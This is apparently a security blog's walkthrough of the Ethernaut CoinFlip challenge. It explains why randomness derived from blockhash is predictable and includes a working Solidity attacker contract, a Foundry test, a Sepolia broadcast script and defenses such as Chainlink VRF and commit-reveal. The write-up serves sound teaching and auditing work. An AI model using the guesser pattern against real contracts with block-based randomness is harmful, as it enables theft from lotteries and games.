Ethernaut Level 3 Walkthrough: Exploiting Weak On-Chain Randomness in Solidity
In this article, we will analyze and solve Ethernaut Level 3: Coin Flip.
This level looks like a coin toss, but it teaches a lesson every Solidity developer needs early: nothing computed from block data is random. If a contract derives a secret from values an attacker can also read, the attacker already knows the outcome before they call it.
Besides solving the challenge, we will also understand:
- Why
blockhashand other block variables are not a source of randomness - How an attacker can replicate a contract's "random" formula off-chain and on-chain
- How to build an attacker contract that always guesses correctly
- How to validate the exploit using Foundry
- How to defend against it properly with an oracle-based source of randomness
Challenge Description
The contract implements a coin-flip game. Each call to flip computes a pseudo-random side from the previous block's hash and compares it against the caller's guess.
Every correct guess increases a consecutiveWins counter. Any wrong guess resets it to zero.
The goal of the challenge is:
Guess the outcome of the coin flip correctly 10 times in a row.
Vulnerability Classification
| Category | Value |
|---|---|
| Vulnerability: | Weak on-chain randomness |
| Root Cause: | The "random" outcome is derived from public, replicable block data |
| Impact: | An attacker can guess correctly with 100% certainty |
| Severity: | Critical |
| Attack Type: | Predictable pseudo-randomness via blockhash |
Vulnerable Contract Analysis
This is the vulnerable contract used in the challenge:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
Root Cause of the Vulnerability
The contract tries to generate a fair coin flip using only on-chain data:
uint256 blockValue = uint256(blockhash(block.number - 1));
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
blockhash(block.number - 1) returns the hash of the previous block. That value is not secret. Every node on the network can read it, and so can every contract, including an attacker's contract, in the very same transaction.
FACTOR is exactly 2^255. Dividing a uint256 by 2^255 keeps only its most significant bit: the result is 1 if that bit is set, 0 otherwise. In other words, side is just the top bit of the previous block's hash.
Since an attacker's contract can read blockhash(block.number - 1) too, it can compute side with the exact same formula before calling flip, and pass that value as _guess. The "random" part of this random game is fully public.
This violates a core security principle in smart contract design:
A value cannot be used as a secret if every participant, including an attacker, can read or recompute it before it is used.
Understanding Weak On-Chain Randomness
The flaw is not in the arithmetic. It is in the source of entropy.
The flow is as follows:
flipreadsblockhash(block.number - 1), a value published as part of the blockchain state.- It derives
sidedeterministically from that value. - It compares
sideagainst the caller-supplied_guess. - Because step 1 uses public data, anyone can compute the same
sidebefore callingflip, from a contract or from an off-chain script.
Block N-1 mined
|
v
blockhash(N-1) becomes public and stable within block N
|
+----> CoinFlip.flip() reads it and derives "side"
|
+----> Attacker's contract reads it too, derives the same "side"
|
v
Attacker calls flip(side) -> always correct
This exact class of bug has caused real losses. The most cited case is the 2018 SmartBillions lottery, where the "random" winning number was derived from block data an attacker could predict, allowing repeated draws to be won without real chance.
Why blockhash-Based Randomness Is Dangerous
blockhash and other block-derived values (block.timestamp, block.number, block.difficulty / block.prevrandao) share the same problem: they are public before or at the exact moment a transaction executes.
Some nuances matter here:
blockhashonly returns non-zero values for the 256 most recent blocks. Older queries return zero, which is why some contracts wrongly assume this makes it "safer": zero is still fully predictable.- Even
block.prevrandao(the post-Merge replacement forblock.difficulty), while harder to bias than a hash, is known to validators before ordinary users, and should not be treated as unpredictable to a sufficiently motivated actor. - Any value computable from data available on-chain, before or during the transaction that consumes it, cannot serve as a secret.
The safe pattern is to source randomness off-chain, from an oracle designed for it, and to consume it only after it has been committed in a way the requester cannot influence or predict in advance.
Attack Strategy
Now that we understand the vulnerability, we can design the exploit.
We know that:
sideis fully determined byblockhash(block.number - 1), a value any contract can read.- A contract can compute
sideand callflip(side)in the same transaction, guaranteeing a correct guess. flipreverts if called twice with the sameblockValue, so each attempt needs a new block.- We need 10 consecutive correct guesses, so we need to repeat the attack across 10 different blocks.
Therefore, our strategy will be:
- Deploy an attacker contract that recomputes the exact same formula as
CoinFlip. - Call its
attack()function once per block, for 10 blocks. - Each call reads the current
blockhash(block.number - 1), derives the correct guess, and callsflipwith it. - After 10 successful calls,
consecutiveWinsreaches 10 and the level is solved.
Attacker Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface CoinFlip {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipGuesser {
uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip public target;
address public owner;
constructor(address _target) {
target = CoinFlip(_target);
owner = msg.sender;
}
/// @notice Recomputes the victim's own formula in the same block, so the guess always lands.
function attack() external returns (bool) {
require(msg.sender == owner, "Not owner");
uint256 blockValue = uint256(blockhash(block.number - 1));
bool guess = (blockValue / FACTOR) == 1;
return target.flip(guess);
}
}
We declare a minimal CoinFlip interface instead of importing the level's contract directly. This keeps the attacker contract self-contained and avoids any pragma friction between the level's ^0.8.0 code and the rest of the toolchain.
The constructor stores the victim address as a typed CoinFlip reference and records owner, so only the deployer can trigger attack(). Every call to attack() reads the same blockValue the victim contract is about to read, in the same block, and forwards the derived guess.
How the Exploit Works
First, we deploy CoinFlipGuesser pointing at the challenge instance.
Then, once per block, we call attack(). Internally it reads blockhash(block.number - 1), the exact input CoinFlip.flip is about to use, computes side with the same division by FACTOR, and immediately calls flip(side).
Because both contracts observe the same blockhash in the same transaction, the guess is never wrong. Each successful call increments consecutiveWins on the victim contract by one.
We repeat this 10 times, moving to a new block between calls, since CoinFlip reverts if the same blockValue is reused. After the tenth successful call, consecutiveWins reaches 10 and the challenge condition is met.
Validating the Exploit with Foundry
After cloning the Ethernaut repository locally, we can create a Foundry test to validate the exploit.
// SPDX-License-Identifier: MIT
// CoinFlip_L3.t.sol
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {CoinFlip} from "src/levels/CoinFlip.sol";
import {CoinFlipFactory} from "src/levels/CoinFlipFactory.sol";
import {CoinFlipGuesser} from "test/Solutions/Attacks/CoinFlipGuesser.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";
contract TestCoinFlip_L3 is Test, Utils {
Ethernaut ethernaut;
CoinFlip instance;
address payable owner;
address payable player;
function setUp() public {
address payable[] memory users = createUsers(2);
owner = users[0];
vm.label(owner, "Owner");
player = users[1];
vm.label(player, "Player");
vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
CoinFlipFactory factory = new CoinFlipFactory();
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();
vm.startPrank(player);
instance = CoinFlip(createLevelInstance(ethernaut, Level(address(factory)), 0));
vm.stopPrank();
}
function testInit() public {
vm.prank(player);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
}
function testSolve() public {
vm.startPrank(player);
CoinFlipGuesser guesser = new CoinFlipGuesser(address(instance));
// The level only allows one flip per block, so we roll a new block before every guess.
for (uint256 i = 0; i < 10; i++) {
vm.roll(block.number + 1);
guesser.attack();
}
assertEq(instance.consecutiveWins(), 10);
assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}
Running the Test
Run the test locally, without forking:
forge test --mp test/Solutions/CoinFlip_L3.t.sol --mt testSolve -vvv
We validate this test against the local Foundry EVM instead of a Sepolia fork. The reason is technical, not a shortcut: vm.roll only advances the local block number. On a forked network, blockhash for a block number that has not really been mined yet on the live chain returns zero, and two consecutive zero values trip the contract's own if (lastHash == blockValue) revert(); guard, well before we reach 10 wins. Locally, Foundry's EVM produces a distinct deterministic hash for every block, so the loop runs cleanly.
Once executed, we can verify that the attacker contract reached 10 consecutive wins and that the level accepts the submission.
Solving the Level on Sepolia
Now we will create a script to execute the exploit directly against the Ethernaut instance.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {CoinFlipGuesser} from "test/Solutions/Attacks/CoinFlipGuesser.sol";
import {console} from "forge-std/console.sol";
contract CoinFlipScript is Script {
address public target;
CoinFlipGuesser public guesser;
function setUp() public {
target = payable("0xYourEthernautInstance");
}
function run() public {
uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
vm.startBroadcast(pk);
// guesser = new CoinFlipGuesser(target);
guesser = CoinFlipGuesser("your guesser contract address here");
guesser.attack();
console.log("Guesser contract:", address(guesser));
vm.stopBroadcast();
}
}
Now we just need to run this script 10 times, waiting for a new block each time, until consecutiveWins reaches 10. The first run deploys the guesser contract and gives us its address, which we save and reuse in the following runs.
Running the Script
First, execute the script locally:
forge script scripts/CoinFlip.s.sol --rpc-url $SEPOLIA_RPC
If everything works correctly, broadcast it to Sepolia. Repeat this call, waiting for a new block each time, until consecutiveWins reaches 10:
forge script scripts/CoinFlip.s.sol --rpc-url $SEPOLIA_RPC --broadcast \
--interactives 1 -vvv
Once the tenth call succeeds, consecutiveWins reaches 10 on the instance. You just need to submit the instance on the Ethernaut website.
How to Prevent This Vulnerability
The core defense is to never derive anything security-relevant from data an on-chain observer can read or reproduce before it is consumed.
Use a verifiable randomness oracle
Chainlink VRF (Verifiable Random Function) generates randomness off-chain along with a cryptographic proof, and delivers it back on-chain in a separate transaction the requester cannot predict in advance:
import "@chainlink/contracts/src/v0.8/vrf/VRFConsumerBaseV2Plus.sol";
contract FairCoinFlip is VRFConsumerBaseV2Plus {
// Randomness arrives asynchronously via fulfillRandomWords,
// never computed from block data available to the caller.
}
Never use block data as a randomness source
Avoid deriving outcomes from blockhash, block.timestamp, block.number, or block.prevrandao. All of them are either public before use or influenceable by the block producer.
Separate the commitment from the reveal
If an oracle is not available, use a commit-reveal scheme where the value that determines the outcome is committed (hashed) before the participant's action, and only revealed afterward, so the participant can never see it in advance.
Lessons Learned
This challenge shows that "hard to guess" is not the same as "cryptographically random."
Key lessons from this level:
blockhashand other block variables are public data, never a secret.- If a contract and an attacker's contract can compute the same value at the same point in the transaction, that value cannot gate access or rewards.
- Guard clauses like
if (lastHash == blockValue) revert()prevent trivial replay, but do not fix the underlying predictability. - Real randomness must come from a source the party benefiting from the outcome cannot query in advance.
- Reach for audited oracle solutions like Chainlink VRF instead of inventing on-chain randomness.
Conclusion
In this challenge, we exploited weak on-chain randomness that let us predict the exact outcome of every coin flip before calling the contract.
We built an attacker contract that reads the same blockhash the victim reads, derives the same guess, and calls flip with certainty, repeating the attack across 10 blocks to reach the required consecutive wins.
This level is an excellent introduction to:
- Weak on-chain randomness and its real-world impact
- Why
blockhashcannot be used as a secret - Building minimal attacker contracts with a typed interface
- Real exploit methodology validated with Foundry
- Secure randomness patterns using verifiable oracles
You can find more Web3 security content on our blog.
If you are looking for a security audit for your protocol, feel free to contact us through our website seclat.xyz.